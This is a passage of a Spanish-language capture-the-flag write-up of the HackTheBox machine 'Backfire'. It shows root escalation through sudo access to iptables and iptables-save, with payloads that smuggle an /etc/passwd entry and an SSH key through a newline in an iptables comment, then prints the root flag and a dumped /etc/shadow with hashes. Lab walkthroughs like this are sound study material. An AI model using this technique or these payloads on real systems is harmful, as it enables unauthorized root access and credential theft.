Con la clave privada logramos acceder como sergej por SSH.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
❯ nano sergej_id
❯ chmod 600 sergej_id
❯ ssh -i sergej_id sergej@backfire.htb
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
sergej@backfire:~$ whoami
sergej
sergej@backfire:~$ id
uid=1001(sergej) gid=1001(sergej) groups=1001(sergej),100(users)
sergej@backfire:~$ ls
HardHatC2  hardhat_firewall.sh
sergej@backfire:~$

Privesc

Sergej puede ejecutar como root iptables y iptables-save.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
sergej@backfire:~$ sudo -l -l
Matching Defaults entries for sergej on backfire:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User sergej may run the following commands on backfire:

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/usr/sbin/iptables

Sudoers entry:
    RunAsUsers: root
    Options: !authenticate
    Commands:
	/usr/sbin/iptables-save
sergej@backfire:~$

sudo iptables

Encontramos un post que explica como es posible escalar privilegios con estos dos comandos modificando el archivo /etc/passwd.

1
2
3
4
5
openssl passwd 'root'
cat /etc/passwd
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nroot:$1$Wzq2GNqg$k1KejabVIYffLZQuAtmK.1:0:0:root:/root:/bin/bash'
sudo iptables -S
sudo iptables-save -f /etc/passwd

Tras reproducir el PoC observamos que por alguna razon el archivo /etc/passwd no puede ser sobreescrito.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
sergej@backfire:~$ openssl passwd 'root'
$1$Wzq2GNqg$k1KejabVIYffLZQuAtmK.1
sergej@backfire:~$ cat /etc/passwd |grep root
root:x:0:0:root:/root:/bin/bash
sergej@backfire:~$ sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nroot:$1$Wzq2GNqg$k1KejabVIYffLZQuAtmK.1:0:0:root:/root:/bin/bash'
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
root:$1$Wzq2GNqg$k1KejabVIYffLZQuAtmK.1:0:0:root:/root:/bin/bash" -j ACCEPT
sergej@backfire:~$ sudo iptables-save -f /etc/passwd
Failed to open file, error: Operation not permitted
sergej@backfire:~$

authorized_keys

Intentamos sobreescribir el archivo authorized_keys de sergej como prueba de acceso por SSH, sin embargo el comentario maximo aceptado por iptables es de 256 caracteres por lo que generamos una clave ed25519 la cual es mas corta.

1
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519 -N ""

Nuevamente ejecutamos el PoC esta vez con la clave publica y como objetivo authorized_keys.

1
2
3
sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIhv2EQ0UPpncfU1j5eK8BmzCMUHaD2D/Y60odD1za1m sergej@backfire\n'
sudo iptables -S 
sudo iptables-save -f /home/sergej/.ssh/authorized_keys

Observamos que el archivo authorized_keys tiene la clave que generamos anteriormente.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
sergej@backfire:~$ cat .ssh/authorized_keys 
# Generated by iptables-save v1.8.9 (nf_tables) on Sat Feb 15 02:50:40 2025
*raw
:PREROUTING ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
COMMIT
# Completed on Sat Feb 15 02:50:40 2025
# Generated by iptables-save v1.8.9 (nf_tables) on Sat Feb 15 02:50:40 2025
*filter
:INPUT ACCEPT [159:11380]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [165:20524]
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIhv2EQ0UPpncfU1j5eK8BmzCMUHaD2D/Y60odD1za1m sergej@backfire
" -j ACCEPT
COMMIT
# Completed on Sat Feb 15 02:50:40 2025
sergej@backfire:~$

Tras utilizar la clave privada obtuvimos acceso, por lo que podemos replicarlo con el usuario root.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ nano test_id
❯ chmod 600 test_id
❯ ssh -i test_id sergej@backfire.htb
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Sep 28 22:44:34 2024 from 10.10.14.194
sergej@backfire:~$

Shell root

Agregamos la clave publica anterior generada, logramos acceder como root y obtener nuestra flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
sergej@backfire:~$ ssh root@localhost
The authenticity of host 'localhost (::1)' can't be established.
ED25519 key fingerprint is SHA256:vKC7A11sFxQLRppUMt01q0d/DPREoskH4Aa42t0Bz9M.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Linux backfire 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
root@backfire:~# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@backfire:~# ls
root.txt
root@backfire:~# cat root.txt
df27c9753939c11a223e616872782a35
root@backfire:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root:$y$j9T$YhphiLO.G4w3yAv438MQP/$3JhvSgFS6VV4F79Mi5VuQDkhg63yMgjbpy.krot/tn.:19996:0:99999:7:::
daemon:*:19993:0:99999:7:::
bin:*:19993:0:99999:7:::
sys:*:19993:0:99999:7:::
sync:*:19993:0:99999:7:::
games:*:19993:0:99999:7:::
man:*:19993:0:99999:7:::
lp:*:19993:0:99999:7:::
mail:*:19993:0:99999:7:::
news:*:19993:0:99999:7:::
uucp:*:19993:0:99999:7:::
proxy:*:19993:0:99999:7:::
www-data:*:19993:0:99999:7:::
backup:*:19993:0:99999:7:::
list:*:19993:0:99999:7:::
irc:*:19993:0:99999:7:::
_apt:*:19993:0:99999:7:::
nobody:*:19993:0:99999:7:::
systemd-network:!*:19993::::::
systemd-timesync:!*:19993::::::
messagebus:!:19993::::::
ilya:$y$j9T$QAKBQrxLvdJTOvPiSUD8Z.$970OYpnfl/koGTRGPbmxntWv/HzGp5Nrjr7Vwfv6NXA:19996:0:99999:7:::
sshd:!:19993::::::
sergej:$y$j9T$ToRPOlaRsEcSVPj7IrwIw/$7WM.jKKviRj8JoXWN2pjVqrxuunYDv/G4b0PHmsEFd2:19996:0:99999:7:::
_laurel:!:20069::::::
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe